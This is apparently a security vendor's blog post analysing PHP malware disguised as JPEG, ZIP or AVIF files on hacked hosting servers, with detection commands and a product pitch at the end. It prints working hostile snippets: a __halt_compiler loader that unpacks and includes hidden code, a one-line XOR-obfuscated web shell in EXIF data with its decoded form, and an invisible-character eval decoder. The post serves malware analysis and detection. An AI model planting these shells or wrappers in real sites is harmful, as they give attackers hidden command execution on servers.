# PHP Malware That Looks Like a Binary File

> PHP files that the file command calls a JPEG image, that open as garbage in an editor and that grep can't find anything in. Four real tricks from hacked hosting accounts, what each file really did, and how to find them on your server.

Source: https://www.pyxsoft.com/blog/php-malware-that-looks-like-binary
Published: 2026-11-14
Tags: malware, php, obfuscation, webshell, research

---

![A file on a server that looks like a glossy photo or a block of binary noise; a beam of light reveals a small glowing orange-red PHP script hidden inside it](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg)

Run `file` on a suspicious PHP file and it answers `JPEG image data`. Open it in an editor and you get a screen of garbage characters. Run `grep` for `eval`, `base64` or `system` and nothing matches. It's natural to decide it's a broken upload and move on.

Some of these are attacks built to look exactly like that. Here are four techniques, all from files that reached [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) from hosting servers in the past three weeks. Of the six samples below, only one was flagged by any antivirus engine on VirusTotal when Labs checked it. Two were known there with zero detections, and three weren't known at all.

<!--truncate-->

## 1. A fake image header, and the payload compressed after the end of the file

Sample 545 was found as `~/public_html/bafna/js/tinymce/skins/ui/oxide/core.php`, hidden among the files of a text editor. For `file`, it's a picture:

```
$ file core.php
core.php: JPEG image data
```

Its first four bytes are `FF D8 FF E2`, the start of a JPEG file. That's the only part of a JPEG in it. Right after them comes PHP:

```
00000000: ffd8 ffe2 3c3f 7068 700a 2f2a 206d 6e6d  ....<?php./* mnm
00000010: 786e 7820 2a2f 2024 7320 3d20 2268 6522  xnx */ $s = "he"
00000020: 202e 2022 7832 6269 6e22 3b24 5f20 3d20   . "x2bin";$_ =
```

### The file as we received it

The PHP part is a single line. The function names are stored in hex so that none of them can be found with `grep`:

```php
<?php
/* mnmxnx */ $s = "he" . "x2bin";$_ = array($s,"666f70656e","667365656b","746d7066696c65","73747265616d5f6765745f6d6574615f64617461","667772697465","73747265616d5f6765745f636f6e74656e7473","66636c6f7365","5f5f68616c745f636f6d70696c6572","677a696e666c617465");$x1=$_[0];$x2=$x1($_[1]);...;$f=$x2(__FILE__,"r");$x3($f,__COMPILER_HALT_OFFSET__);$t=$x4();$u=$x5($t);$u=$u["uri"];$x6($t,$x10($x7($f)));IncLude($u);$x8($t);__Halt_CompiLer();
```

After `__Halt_CompiLer();` come 21 KB of binary data. That's what makes the editor show garbage.

### What it does

With the hex names decoded (`666f70656e` is `fopen`, `677a696e666c617465` is `gzinflate`...) the line reads:

```php
echo "\xff\xd8\xff\xe2";
$f = fopen(__FILE__, "r");
fseek($f, __COMPILER_HALT_OFFSET__);
$t = tmpfile();
$u = stream_get_meta_data($t)["uri"];
fwrite($t, gzinflate(stream_get_contents($f)));
include($u);
fclose($t);
__halt_compiler();
```

`__halt_compiler()` tells PHP that the file ends there, and PHP never parses what comes after it. The code before it, though, can open its own file, jump to that point (`__COMPILER_HALT_OFFSET__`), decompress the rest with `gzinflate`, write it to a temporary file and `include` it. The real code is never on the disk as readable PHP, and there is no `eval` anywhere to look for.

The 21 KB unpack to 29 KB of PHP: a class called `Bar` that is itself obfuscated, with its function names split across arrays. Put back together, it is a **password-protected loader**. It looks for a key in the request (`_td`) or in a cookie named after a hash of the domain, uses that key to decrypt the actual payload stored in the class, and runs it. Without the attacker's password, nobody else can run it or read it, deobfuscator included. What you can tell is what it is, and that someone kept a door here.

Two more samples use the same wrapper. Sample 1410, in `wp-content/uploads/2019/05/library.php`, starts with `PK\x03\x04` instead, the header of a ZIP file, so `file` calls it `data`. Its payload is another copy of the same kind of loader. Sample 566, in a theme's `scss/modules/000library.php`, unpacks to 76 KB: a **spam mailer** that rewrites `REMOTE_ADDR` before sending, turns off PHP's `X-PHP-Originating-Script` mail header, answers `#OK#` to a health check and keeps its own log file next to it. That is how a server ends up on an email blocklist without anyone noticing a web shell.

## 2. A real image with PHP inside

Sample 1030 is a genuine JPEG: 13 KB, 72×72 DPI, a valid EXIF block, and it opens as a picture. It was saved as `~/public_html/main/inc/lib/ppt2png/system25.php`. Inside the EXIF data, among the camera fields, there's this:

```php
<?="<br>";?>dnthirteen@h34rt****.today:~$ <?="<".("{"^"+").("{"^")").("{"^">").">";@$_++;$__ = ${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[!$_];$___ = `$__` ?: $__(${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[$_]);?><?=($___."</".("{"^"+").("{"^")").("{"^">").">");__HALT_COMPILER();?>
```

PHP ignores everything outside `<?` and `?>` and just prints it, so the image bytes before and after are harmless output. The code builds its strings by XORing pairs of characters: `"{"^"+"` is `P`, and `("|"^"#").("{"^"<")...` spells `_GET`. Decoded:

```php
echo '<PRE>';
$_ = 1;
$__ = $_GET[0];
$___ = `$__` ?: $__($_GET[1]);
echo $___ . '</PRE>';
```

That's a complete web shell in one line: `?0=ls -la` runs a shell command (the backticks), and if that fails, `?0=system&1=...` calls any PHP function with an argument. It even prints a fake terminal prompt.

The point of hiding it in a real image is to get past upload forms. A form that checks the file's first bytes, or calls `getimagesize()`, sees a valid JPEG and accepts it. Then all it takes is a `.php` name, or a vulnerability that includes uploaded files.

Sample 1667 does the same with a newer format. It's an AVIF image header followed by a full PHP file that introduces itself as a WordPress plugin, *File Manager Pro*, "advanced file manager with terminal". It was found inside `wp-admin/images/`.

## 3. Invisible characters between the hex

Sample 2124, `~/public_html/wp-content/upgrade/modules/2025/src/media/knui/czsdv/admin.php`, is 337 KB. `file` calls it a PHP script, but its strings look like this (Unicode escapes shown so you can see what's in it):

```
'3‍7͏﻿62⁢31؜7឵឵263\xad7...'
```

Every second or third character is invisible: zero-width space (`U+200B`), zero-width joiner (`U+200D`), byte order mark (`U+FEFF`), soft hyphen (`U+00AD`), the Arabic letter mark, Mongolian and Khmer vowel separators and more: 75,167 of them, almost one for every hex digit. In most editors they take no space at all, or show up as small boxes. A search for `3762` fails because those four characters are never next to each other. The string is also split into 8,752 pieces joined with `.`, cut in the middle of the multi-byte characters, and the method that uses it is shuffled with `goto`.

Inside, the code lists 19 such characters and strips them:

```php
$_invisible = ["\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{2060}", "\u{180E}", ...];
$a_HU518aE = str_replace($_invisible, '', $a_HU518aE);
for ($i = 0; $i < strlen($a_HU518aE); $i += 2) {
    $out .= chr(hexdec(substr($a_HU518aE, $i, 2)));
}
eval(gzinflate(base64_decode($out)));
```

What's left is 75,256 hex digits, then base64, then compressed PHP: a complete **file manager** with its own login, database client and file editor, preceded by a redirect commented in Indonesian.

## How to look at files like these

Don't trust `file` or how a file looks in an editor. A few checks find all of the above:

```bash
# PHP files that "file" thinks are something else
find /home/*/public_html -name '*.php' -type f -print0 | xargs -0 file | grep -vE 'PHP script|text|empty'

# code that reads itself after __halt_compiler
grep -rliE '__halt_compiler|__COMPILER_HALT_OFFSET__' --include='*.php' /home/*/public_html

# images (or anything) that carry PHP
grep -rlaE '<\?(php|=)' --include='*.jpg' --include='*.jpeg' --include='*.png' --include='*.gif' --include='*.ico' /home/*/public_html

# zero-width characters in PHP files
grep -rlP '\x{200B}|\x{200D}|\x{FEFF}|\x{2060}' --include='*.php' /home/*/public_html
```

The first one also lists legitimate PHP files saved with an unusual encoding, and the last one finds some translation files. Read before deleting. To see the beginning of a file as it really is, `xxd file.php | head` beats any editor.

All four techniques come apart in our free [PHP deobfuscator](https://www.pyxsoft.com/tools/php-deobfuscator): it unpacks the data after `__halt_compiler`, decodes the XOR strings and the hex names, strips the invisible characters and shows the code, without running any of it. The [step-by-step guide](https://www.pyxsoft.com/blog/deobfuscate-php-malware-step-by-step) covers the techniques in more detail.

All six samples in this post reached Labs because [Pyxsoft Anti Malware](https://www.pyxsoft.com/anti-malware) flagged them on the servers where they were found, five of them without any signature, by what their code does. 7 days free, on cPanel, DirectAdmin or a server with no panel.
